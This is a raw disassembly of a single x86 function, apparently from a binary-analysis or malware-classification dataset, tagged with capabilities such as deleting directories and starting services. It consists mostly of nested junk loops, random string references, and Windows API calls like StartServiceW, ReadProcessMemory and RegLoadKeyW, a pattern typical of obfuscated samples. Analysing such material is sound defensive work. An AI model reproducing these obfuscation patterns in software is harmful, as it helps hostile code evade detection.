Function at 0x454938
Capabilities:
Delete directory
Get common file path
Start service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4ad73d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x5d8
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x200], 0xbe0
mov dword [ebp - 0x31c], str.voatvds_jgy_liljniznk_ybjaagqy_gxqrhullu
cmp dword [ebp - 0x200], 0xd7a
jle 0x454a2f
and dword [ebp - 0x20], 0
jmp 0x45498e
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x6c94
jge 0x454a2f
and dword [ebp - 0x18], 0
jmp 0x4549a8
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x6ed4
jge 0x454a2a
and dword [ebp - 0x160], 0
jmp 0x4549c7
mov eax, dword [ebp - 0x160]
inc eax
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 0x6c69
jge 0x454a25
mov eax, dword [ebp - 0x18]
cdq
idiv dword [ebp - 0x160]
mov eax, dword [ebp - 0x20]
mov ecx, edx
shl eax, cl
cdq
mov dword [ebp - 0x3d4], eax
mov dword [ebp - 0x3d0], edx
push dword [ebp - 0x3d0]
push dword [ebp - 0x3d4]
lea ecx, [ebp - 0x48c]
call fcn.00454899
pop ecx
pop ecx
mov ecx, eax
call fcn.00402f89
push eax
call fcn.00481635
pop ecx
lea ecx, [ebp - 0x48c]
call fcn.00402d76
jmp 0x4549ba
jmp 0x4549a1
jmp 0x454987
mov dword [ebp - 0x20c], 0x59ed
and dword [ebp - 4], 0
cmp dword [ebp - 0x200], 0x884
jge 0x454a55
push dword [ebp - 0x31c]
call fcn.00481635
pop ecx
jmp 0x454a71
or dword [ebp - 4], 0xffffffff
jmp 0x454a7b
mov dword [ebp - 0x410], str.zigv_oet_qucwwn_csd_vqgzh_zjiy_zubgs_wfeihdz_qsg
cmp dword [ebp - 0x20c], 0x5a59
jle 0x454ecd
mov dword [ebp - 0x1e0], 0x3a1a
mov dword [ebp - 0x280], str.wwqc_gexdropm_kkzbjrd_qntwy_reram_ohk_ort_ebifeqypi_fywoc_ksustzvq
cmp dword [ebp - 0x1e0], 0x3b92
jle 0x454b84
push 0
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
and dword [ebp - 0x198], 0
jmp 0x454ad7
mov eax, dword [ebp - 0x198]
inc eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 0x32a6
jge 0x454b7a
and dword [ebp - 0xf8], 0
jmp 0x454afd
mov eax, dword [ebp - 0xf8]
inc eax
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 0x786f
jge 0x454b75
and dword [ebp - 0x28], 0
jmp 0x454b16
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0x3861
jge 0x454b70
and dword [ebp - 0x30], 0
jmp 0x454b2c
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0x3899
jge 0x454b6e
mov ecx, dword [ebp - 0xf8]
sub ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x198]
shl eax, cl
xor eax, dword [ebp - 0x30]
cdq
mov dword [ebp - 0x35c], eax
mov dword [ebp - 0x358], edx
push dword [ebp - 0x358]
push dword [ebp - 0x35c]
mov ecx, 0xab4b00
call fcn.0047c980
jmp 0x454b25
jmp 0x454b0f
jmp 0x454af0
jmp 0x454aca
push 0
push 0
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
and dword [ebp - 0x110], 0
jmp 0x454b9a
mov eax, dword [ebp - 0x110]
inc eax
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0x51cd
jge 0x454e84
mov dword [ebp - 0x220], 0xbed
mov dword [ebp - 0x40c], str.anmp_apmx_kijj_eoxlsus_wuou
cmp dword [ebp - 0x220], 0xc2c
jle 0x454c88
and dword [ebp - 0x100], 0
jmp 0x454be4
mov eax, dword [ebp - 0x100]
inc eax
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 0x5bd8
jge 0x454c88
and dword [ebp - 0x38], 0
jmp 0x454c01
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0x483d
jge 0x454c83
and dword [ebp - 0x168], 0
jmp 0x454c20
mov eax, dword [ebp - 0x168]
inc eax
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 0x231f
jge 0x454c7e
and dword [ebp - 0x40], 0
jmp 0x454c39
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0x74f7
jge 0x454c7c
mov eax, dword [ebp - 0x100]
cdq
idiv dword [ebp - 0x38]
sub edx, dword [ebp - 0x168]
add edx, dword [ebp - 0x40]
mov eax, edx
cdq
mov dword [ebp - 0x3e0], eax
mov dword [ebp - 0x3dc], edx
push dword [ebp - 0x3dc]
push dword [ebp - 0x3e0]
mov ecx, 0xab4b00
call fcn.0047c980
jmp 0x454c32
jmp 0x454c13
jmp 0x454bfa
jmp 0x454bd7
and dword [ebp - 0x58], 0
jmp 0x454c95
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0x45a1
jge 0x454e36
mov dword [ebp - 0x1d8], 0x7a11
mov dword [ebp - 0x274], str.noss_koefdfs_wgzhuthg_zmojggdnk_fkzh_lcjgxpih_iadeijte_juvcct_rwhmk
cmp dword [ebp - 0x1d8], 0x7c85
jle 0x454d8f
and dword [ebp - 0x1c0], 0
jmp 0x454cdc
mov eax, dword [ebp - 0x1c0]
inc eax
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 0x35a4
jge 0x454d81
and dword [ebp - 0x108], 0
jmp 0x454d02
mov eax, dword [ebp - 0x108]
inc eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0x6fe3
jge 0x454d7c
and dword [ebp - 0x48], 0
jmp 0x454d1b
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0x5452
jge 0x454d77
and dword [ebp - 0x50], 0
jmp 0x454d31
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0x132d
jge 0x454d75
mov ecx, dword [ebp - 0x108]
add ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x1c0]
sar eax, cl
mov ecx, dword [ebp - 0x50]
sar eax, cl
cdq
mov dword [ebp - 0x36c], eax
mov dword [ebp - 0x368], edx
push dword [ebp - 0x368]
push dword [ebp - 0x36c]
mov ecx, 0xab4b00
call fcn.0047c980
jmp 0x454d2a
jmp 0x454d14
jmp 0x454cf5
jmp 0x454ccf
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
and dword [ebp - 0x170], 0
jmp 0x454da5
mov eax, dword [ebp - 0x170]
inc eax
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 0x567c
jge 0x454de8
mov eax, dword [ebp - 0x110]
cdq
idiv dword [ebp - 0x58]
sub edx, dword [ebp - 0x170]
mov eax, edx
cdq
mov dword [ebp - 0x3ec], eax
mov dword [ebp - 0x3e8], edx
push dword [ebp - 0x3e8]
push dword [ebp - 0x3ec]
mov ecx, 0xab4b00
call fcn.0047c980
jmp 0x454d98
mov dword [ebp - 4], 2
cmp dword [ebp - 0x1d8], 0x7775
jge 0x454e0b
mov edx, dword [ebp - 0x274]
mov ecx, 0xab4b00
call fcn.0047de2e
jmp 0x454e27
or dword [ebp - 4], 0xffffffff
jmp 0x454e31
jmp 0x454c8e
mov dword [ebp - 4], 4
cmp dword [ebp - 0x220], 0x87f
jge 0x454e59
mov edx, dword [ebp - 0x40c]
mov ecx, 0xab4b00
call fcn.0047de2e
jmp 0x454e75
or dword [ebp - 4], 0xffffffff
jmp 0x454e7f
jmp 0x454b8d
mov dword [ebp - 4], 6
cmp dword [ebp - 0x1e0], 0x368d
jge 0x454ea7
mov edx, dword [ebp - 0x280]
mov ecx, 0xab4b00
call fcn.0047de2e
jmp 0x454ec3
or dword [ebp - 4], 0xffffffff
jmp 0x454ecd
mov dword [ebp - 0x204], 0x170a
mov dword [ebp - 0x304], str.uxgsri_neey_lzxmvcvto_cboazvtna
cmp dword [ebp - 0x204], 0x1910
jle 0x454f64
push 0
push 0x629
push 0
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
and dword [ebp - 0x60], 0
jmp 0x454f09
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0x600f
jge 0x454f64
and dword [ebp - 0x118], 0
jmp 0x454f28
mov eax, dword [ebp - 0x118]
inc eax
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0x129a
jge 0x454f62
mov eax, dword [ebp - 0x60]
sub eax, dword [ebp - 0x118]
cdq
mov dword [ebp - 0x37c], eax
mov dword [ebp - 0x378], edx
push dword [ebp - 0x378]
push dword [ebp - 0x37c]
mov ecx, 0xab4b00
call fcn.0047c980
jmp 0x454f1b
jmp 0x454f02
cmp dword [ebp + 8], 2
jl 0x456718
mov dword [ebp - 0x1f8], 0x461b
mov dword [ebp - 0x260], 0x5486
mov dword [ebp - 0x3a8], str.toss_efkgntu_pwpptev_pdrf_lyzzd_amfhdnk_vieabzwm_kmvf_wzld_lmmyootg_vowl_zkcpm_pkuwgqr_vsezpbn
cmp dword [ebp - 0x260], 0x5589
jle 0x45506a
push 0
push 0
push 0x1d91
push 0
push 0x23f6
push 0
push 0x1e4f
push 0x2660
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
and dword [ebp - 0x68], 0
jmp 0x454fcb
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0x26d4
jge 0x45506a
and dword [ebp - 0x1a0], 0
jmp 0x454fee
mov eax, dword [ebp - 0x1a0]
inc eax
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 0xd93
jge 0x455065
and dword [ebp - 0x70], 0
jmp 0x455007
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0x31f5
jge 0x455060
mov eax, dword [ebp - 0x68]
cdq
idiv dword [ebp - 0x1a0]
and edx, dword [ebp - 0x70]
mov eax, edx
cdq
mov dword [ebp - 0x3f8], eax
mov dword [ebp - 0x3f4], edx
push dword [ebp - 0x3f4]
push dword [ebp - 0x3f8]
lea ecx, [ebp - 0x54c]
call fcn.00454899
pop ecx
pop ecx
mov ecx, eax
call fcn.00402f89
push eax
call fcn.00481635
pop ecx
lea ecx, [ebp - 0x54c]
call fcn.00402d76
jmp 0x455000
jmp 0x454fe1
jmp 0x454fc4
mov dword [ebp - 0x2a4], str.blos_ohaolqgu_yhsdovcft_lixdpq_ezsfoeech_epxmf_avtu
mov dword [ebp - 4], 8
cmp dword [ebp - 0x260], 0x5103
jge 0x455093
push dword [ebp - 0x3a8]
call fcn.00481635
pop ecx
jmp 0x4550af
or dword [ebp - 4], 0xffffffff
jmp 0x4550b9
mov dword [ebp - 0x1f0], 0x1e09
mov dword [ebp - 0x298], str.pmg_jmpfo_kmrn_tefvzwodq_faegz_mxwvelmxg_mlav_ojaosxlae_rum_nkbacxaen_rbej_uch
cmp dword [ebp - 0x1f0], 0x209e
jle 0x455149
and dword [ebp - 0x120], 0
jmp 0x4550ef
mov eax, dword [ebp - 0x120]
inc eax
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0x49ff
jge 0x455141
and dword [ebp - 0x78], 0
jmp 0x455108
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0x3260
jge 0x45513f
mov eax, dword [ebp - 0x120]
and eax, dword [ebp - 0x78]
cdq
mov dword [ebp - 0x38c], eax
mov dword [ebp - 0x388], edx
push dword [ebp - 0x388]
push dword [ebp - 0x38c]
mov ecx, 0xab4b00
call fcn.0047c980
jmp 0x455101
jmp 0x4550e2
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
cmp dword [ebp - 0x1f8], 0x48b3
jle 0x455481
mov dword [ebp - 0x228], 0x5d63
mov dword [ebp - 0x414], str.apr_eff_pbqrxe_ckqsqoif_vbze_brlf_uaxvgf_rminmx_pnabwk_yorbg_rdscy_ksxdap_rxtan
cmp dword [ebp - 0x228], 0x5f4e
jle 0x455281
and dword [ebp - 0x178], 0
jmp 0x455193
mov eax, dword [ebp - 0x178]
inc eax
mov dword [ebp - 0x178], eax
cmp dword [ebp - 0x178], 0x42c0
jge 0x45526e
and dword [ebp - 0x80], 0
jmp 0x4551b0
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0x23f8
jge 0x455269
and dword [ebp - 0x128], 0
jmp 0x4551d3
mov eax, dword [ebp - 0x128]
inc eax
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 0x1463
jge 0x455264
and dword [ebp - 0x88], 0
jmp 0x4551f9
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0x3256
jge 0x45525f
mov eax, dword [ebp - 0x178]
xor eax, dword [ebp - 0x80]
mov edx, dword [ebp - 0x128]
mov ecx, dword [ebp - 0x88]
shl edx, cl
xor eax, edx
cdq
mov dword [ebp - 0x404], eax
mov dword [ebp - 0x400], edx
push dword [ebp - 0x400]
push dword [ebp - 0x404]
lea ecx, [ebp - 0x4bc]
call fcn.00454899
pop ecx
pop ecx
mov ecx, eax
call fcn.00402f89
push eax
call fcn.00481635
pop ecx
lea ecx, [ebp - 0x4bc]
call fcn.00402d76
jmp 0x4551ec
jmp 0x4551c6
jmp 0x4551a9
jmp 0x455186
push 0
push 0x1f50
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
and dword [ebp - 0x1b8], 0
jmp 0x455297
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 0x6aa8
jge 0x45543c
and dword [ebp - 0x90], 0
jmp 0x4552bd
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0x1f06
jge 0x455437
mov eax, dword [ebp - 0x1b8]
cdq
idiv dword [ebp - 0x90]
mov eax, edx
cdq
mov dword [ebp - 0x270], eax
mov dword [ebp - 0x26c], edx
mov dword [ebp - 0x1e8], 0x7510
mov dword [ebp - 0x28c], str.zkz_fsayvx_rpb_vtor_wqtqnie_dqepyh_egq_wjumjebu_cdwzq
cmp dword [ebp - 0x1e8], 0x764c
jle 0x4553b7
and dword [ebp - 0x130], 0
jmp 0x455323
mov eax, dword [ebp - 0x130]
inc eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0x42c9
jge 0x4553b7
and dword [ebp - 0x98], 0
jmp 0x455349
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 0x2059
jge 0x4553b2
and dword [ebp - 0x180], 0
jmp 0x45536b
mov eax, dword [ebp - 0x180]
inc eax
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x180], 0x509f
jge 0x4553b0
mov eax, dword [ebp - 0x130]
mov ecx, dword [ebp - 0x98]
shl eax, cl
or eax, dword [ebp - 0x180]
cdq
mov dword [ebp - 0x39c], eax
mov dword [ebp - 0x398], edx
push dword [ebp - 0x398]
push dword [ebp - 0x39c]
mov ecx, 0xab4b00
call fcn.0047c980
jmp 0x45535e
jmp 0x45533c
jmp 0x455316
push dword [ebp - 0x26c]
push dword [ebp - 0x270]
lea ecx, [ebp - 0x5ac]
call fcn.00454899
pop ecx
pop ecx
mov ecx, eax
call fcn.00402f89
push eax
call fcn.00481635
pop ecx
lea ecx, [ebp - 0x5ac]
call fcn.00402d76
mov dword [ebp - 4], 0xa
cmp dword [ebp - 0x1e8], 0x736c
jge 0x45540c
mov edx, dword [ebp - 0x28c]
mov ecx, 0xab4b00
call fcn.0047de2e
jmp 0x455428
or dword [ebp - 4], 0xffffffff
jmp 0x455432
jmp 0x4552b0
jmp 0x45528a
mov dword [ebp - 4], 0xc
cmp dword [ebp - 0x228], 0x5b4e
jge 0x45545b
push dword [ebp - 0x414]
call fcn.00481635
pop ecx
jmp 0x455477
or dword [ebp - 4], 0xffffffff
jmp 0x455481
mov dword [ebp - 4], 0xe
cmp dword [ebp - 0x1f0], 0x1a43
jge 0x4554a4
mov edx, dword [ebp - 0x298]
mov ecx, 0xab4b00
call fcn.0047de2e
jmp 0x4554c0
or dword [ebp - 4], 0xffffffff
jmp 0x4554ca
mov dword [ebp - 0x248], 0x753d
mov dword [ebp - 0x3b4], str.cdmmbnzrj_vqf_urdoyammp_oeoh_atuzgvj_kxbwyp_jncfhgpu_nluwpi_vhxjijc_moqczo_hoveul_ilstb_nvwtf
cmp dword [ebp - 0x248], 0x7629
jle 0x4555b8
and dword [ebp - 0xa8], 0
jmp 0x455504
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 0x10b8
jge 0x4555b8
and dword [ebp - 0xa0], 0
jmp 0x45552a
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 0x461d
jge 0x4555b3
and dword [ebp - 0x138], 0
jmp 0x45554c
mov eax, dword [ebp - 0x138]
inc eax
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 0x5beb
jge 0x4555ae
mov ecx, dword [ebp - 0xa0]
imul ecx, dword [ebp - 0x138]
mov eax, dword [ebp - 0xa8]
sar eax, cl
cdq
mov dword [ebp - 0x27c], eax
mov dword [ebp - 0x278], edx
push dword [ebp - 0x278]
push dword [ebp - 0x27c]
lea ecx, [ebp - 0x4ec]
call fcn.00454899
pop ecx
pop ecx
mov ecx, eax
call fcn.00402f89
push eax
call fcn.00481635
pop ecx
lea ecx, [ebp - 0x4ec]
call fcn.00402d76
jmp 0x45553f
jmp 0x45551d
jmp 0x4554f7
push 1
lea eax, [ebp - 0x5d0]
push eax
xor edx, edx
inc edx
xor ecx, ecx
call fcn.00453ac9
pop ecx
pop ecx
mov esi, eax
lea edi, [ebp - 0x444]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea esi, [ebp - 0x444]
lea edi, [ebp - 0x438]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 4], 0x10
cmp dword [ebp - 0x248], 0x717b
jge 0x455606
push dword [ebp - 0x3b4]
call fcn.00481635
pop ecx
jmp 0x455622
or dword [ebp - 4], 0xffffffff
jmp 0x45562c
mov dword [ebp - 0x258], 0x356d
mov dword [ebp - 0x3c0], str.yjptl_qipuet_wujqyqmnx
cmp dword [ebp - 0x258], 0x383e
jle 0x45575e
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
and dword [ebp - 0x1a8], 0
jmp 0x455672
mov eax, dword [ebp - 0x1a8]
inc eax
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 0x753e
jge 0x45575e
and dword [ebp - 0xb0], 0
jmp 0x455698
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 0x4e5f
jge 0x455759
and dword [ebp - 0x140], 0
jmp 0x4556be
mov eax, dword [ebp - 0x140]
inc eax
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 0x8f4
jge 0x455754
and dword [ebp - 0xb8], 0
jmp 0x4556e4
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0x4d3b
jge 0x45574f
mov eax, dword [ebp - 0x1a8]
mov ecx, dword [ebp - 0xb0]
shl eax, cl
mov ecx, dword [ebp - 0x140]
sar eax, cl
mov ecx, dword [ebp - 0xb8]
shl eax, cl
cdq
mov dword [ebp - 0x288], eax
mov dword [ebp - 0x284], edx
push dword [ebp - 0x284]
push dword [ebp - 0x288]
lea ecx, [ebp - 0x57c]
call fcn.00454899
pop ecx
pop ecx
mov ecx, eax
call fcn.00402f89
push eax
call fcn.00481635
pop ecx
lea ecx, [ebp - 0x57c]
call fcn.00402d76
jmp 0x4556d7
jmp 0x4556b1
jmp 0x45568b
jmp 0x455665
mov dword [ebp - 4], 0x12
cmp dword [ebp - 0x1f8], 0x45df
jge 0x4558f6
mov dword [ebp - 0x230], 0x45ee
mov dword [ebp - 0x41c], str.vvyqq_ezbgwjbpp_kss_lxbwcrj_bxwho_kzakdtha_knowhxkpq_pyaac_xqnjzsvb_odtrtlb_jfxcka_hbxi
cmp dword [ebp - 0x230], 0x487a
jle 0x4558a2
and dword [ebp - 0xc8], 0
jmp 0x4557af
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 0x5a14
jge 0x45589a
and dword [ebp - 0x188], 0
jmp 0x4557d5
mov eax, dword [ebp - 0x188]
inc eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 0x53f9
jge 0x455895
and dword [ebp - 0xc0], 0
jmp 0x4557fb
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 0x708a
jge 0x455890
and dword [ebp - 0x148], 0
jmp 0x455821
mov eax, dword [ebp - 0x148]
inc eax
mov dword [ebp - 0x148], eax
cmp dword [ebp - 0x148], 0x6f09
jge 0x45588b
mov eax, dword [ebp - 0x188]
cdq
idiv dword [ebp - 0xc0]
add edx, dword [ebp - 0x148]
mov eax, dword [ebp - 0xc8]
mov ecx, edx
sar eax, cl
cdq
mov dword [ebp - 0x294], eax
mov dword [ebp - 0x290], edx
push dword [ebp - 0x290]
push dword [ebp - 0x294]
lea ecx, [ebp - 0x51c]
call fcn.00454899
pop ecx
pop ecx
mov ecx, eax
call fcn.00402f89
push eax
call fcn.00481635
pop ecx
lea ecx, [ebp - 0x51c]
call fcn.00402d76
jmp 0x455814
jmp 0x4557ee
jmp 0x4557c8
jmp 0x4557a2
push 0
call dword [sym.imp.USER32.dll_GetMenuItemCount]
push dword [ebp - 0x2a4]
call fcn.00481635
pop ecx
mov byte [ebp - 4], 0x13
cmp dword [ebp - 0x230], 0x43a7
jge 0x4558ca
push dword [ebp - 0x41c]
call fcn.00481635
pop ecx
jmp 0x4558e6
mov dword [ebp - 4], 0x12
jmp 0x4558f6
jmp 0x455a63
or dword [ebp - 4], 0xffffffff
jmp 0x455a6d
mov dword [ebp - 4], 0x18
cmp dword [ebp - 0x258], 0x347d
jge 0x455a8c
push dword [ebp - 0x3c0]
call fcn.00481635
pop ecx
jmp 0x455aa8
or dword [ebp - 4], 0xffffffff
jmp 0x455ab2
mov dword [ebp - 0x208], 0x1fdc
mov dword [ebp - 0x2bc], str.bnhjg_ymforqn_tvlcwbidv_vzvr_bizd_fueefls_gdltuv_ars_vfs_cpak_crhxvlrva_nminhfbn_kpp
cmp dword [ebp - 0x208], 0x2207
jle 0x455bc0
and dword [ebp - 0x158], 0
jmp 0x455aec
mov eax, dword [ebp - 0x158]
inc eax
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 0x72d2
jge 0x455bb1
and dword [ebp - 0x190], 0
jmp 0x455b12
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 0x7067
jge 0x455bac
and dword [ebp - 0xe0], 0
jmp 0x455b38
mov eax, dword [ebp - 0xe0]
inc eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 0x6a97
jge 0x455ba7
and dword [ebp - 0xe8], 0
jmp 0x455b5a
mov eax, dword [ebp - 0xe8]
inc eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 0x48ef
jge 0x455ba5
mov ecx, dword [ebp - 0x190]
sub ecx, dword [ebp - 0xe0]
mov eax, dword [ebp - 0x158]
sar eax, cl
or eax, dword [ebp - 0xe8]
cdq
mov dword [ebp - 0x2ac], eax
mov dword [ebp - 0x2a8], edx
push dword [ebp - 0x2a8]
push dword [ebp - 0x2ac]
mov ecx, 0xab4b00
call fcn.0047c980
jmp 0x455b4d
jmp 0x455b2b
jmp 0x455b05
jmp 0x455adf
push 0
push 0x1183
push 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov dword [ebp - 0x1f4], 0x47f6
mov dword [ebp - 4], 0x1a
cmp dword [ebp - 0x208], 0x1ec2
jge 0x455bed
mov edx, dword [ebp - 0x2bc]
mov ecx, 0xab4b00
call fcn.0047de2e
jmp 0x455c09
or dword [ebp - 4], 0xffffffff
jmp 0x455c13
mov dword [ebp - 0x238], 0x54ca
mov dword [ebp - 0x424], str.kolf_grvveyz_xfa_gyrvmopo_vwb_dxlgbz_svbewupn
cmp dword [ebp - 0x238], 0x5593
jle 0x455cd9
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegLoadKeyW]
and dword [ebp - 0x1b0], 0
jmp 0x455c59
mov eax, dword [ebp - 0x1b0]
inc eax
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 0x6877
jge 0x455cd9
and dword [ebp - 0xf0], 0
jmp 0x455c7b
mov eax, dword [ebp - 0xf0]
inc eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 0x3e82
jge 0x455cd4
mov eax, dword [ebp - 0x1b0]
xor eax, dword [ebp - 0xf0]
cdq
mov dword [ebp - 0x2b8], eax
mov dword [ebp - 0x2b4], edx
push dword [ebp - 0x2b4]
push dword [ebp - 0x2b8]
lea ecx, [ebp - 0x45c]
call fcn.00454899
pop ecx
pop ecx
mov ecx, eax
call fcn.00402f89
push eax
call fcn.00481635
pop ecx
lea ecx, [ebp - 0x45c]
call fcn.00402d76
jmp 0x455c6e
jmp 0x455c4c
mov dword [ebp - 0x2f8], str.rsxaiu_pnbppkje_puk_ywqdv_ongkml_tvhtzzdr_nemvdcbt_lrskxkcx_gskvyv_gzmceeda_iqml_mfkayi_rrvmith_mghuj
mov dword [ebp - 4], 0x1c
cmp dword [ebp - 0x238], 0x5195
jge 0x455d02
push dword [ebp - 0x424]
call fcn.00481635
pop ecx
jmp 0x455d1e
or dword [ebp - 4], 0xffffffff
jmp 0x455d28
mov dword [ebp - 0x1e4], 0x357b
mov dword [ebp - 0x2ec], str.bsayiptl_fov_jtpn_mwnfhd_wlrfv_yvla_fqdoly_ioerwchu_ncpqhd_ljou_upcg_jqou_srvscxa_ynv
cmp dword [ebp - 0x1e4], 0x3882
jle 0x455dc7
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
and dword [ebp - 0x24], 0
jmp 0x455d5b
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0x5e4a
jge 0x455dc7
and dword [ebp - 0x14], 0
jmp 0x455d71
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x3ac5
jge 0x455dc5
and dword [ebp - 0x1c], 0
jmp 0x455d87
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x1c89
jge 0x455dc3
mov eax, dword [ebp - 0x14]
cdq
idiv dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
mov ecx, edx
shl eax, cl
cdq
mov dword [ebp - 0x2c4], eax
mov dword [ebp - 0x2c0], edx
push dword [ebp - 0x2c0]
push dword [ebp - 0x2c4]
mov ecx, 0xab4b00
call fcn.0047c980
jmp 0x455d80
jmp 0x455d6a
jmp 0x455d54
cmp dword [ebp - 0x1f4], 0x4b1e
jle 0x456421
mov dword [ebp - 0x1dc], 0x7916
mov dword [ebp - 0x3d8], str.xzcwzrf_iejon_lnusidw_rkygfc_wjs_iqmw_bqusta_ymahy_palkimign_rqnlmx_bjq_rrksgo
cmp dword [ebp - 0x1dc], 0x7a6f
jle 0x455e7d
and dword [ebp - 0x2c], 0
jmp 0x455e08
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0x6d50
jge 0x455e70
and dword [ebp - 0x34], 0
jmp 0x455e1e
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0x357f
jge 0x455e6e
mov eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x34]
cdq
mov dword [ebp - 0x2d0], eax
mov dword [ebp - 0x2cc], edx
push dword [ebp - 0x2cc]
push dword [ebp - 0x2d0]
lea ecx, [ebp - 0x474]
call fcn.00454899
pop ecx
pop ecx
mov ecx, eax
call fcn.00402f89
push eax
call fcn.00481635
pop ecx
lea ecx, [ebp - 0x474]
call fcn.00402d76
jmp 0x455e17
jmp 0x455e01
push 0x14d5
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
and dword [ebp - 0xa4], 0
jmp 0x455e93
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 0x3fe0
jge 0x4563dc
mov dword [ebp - 0x1d4], 0x72e7
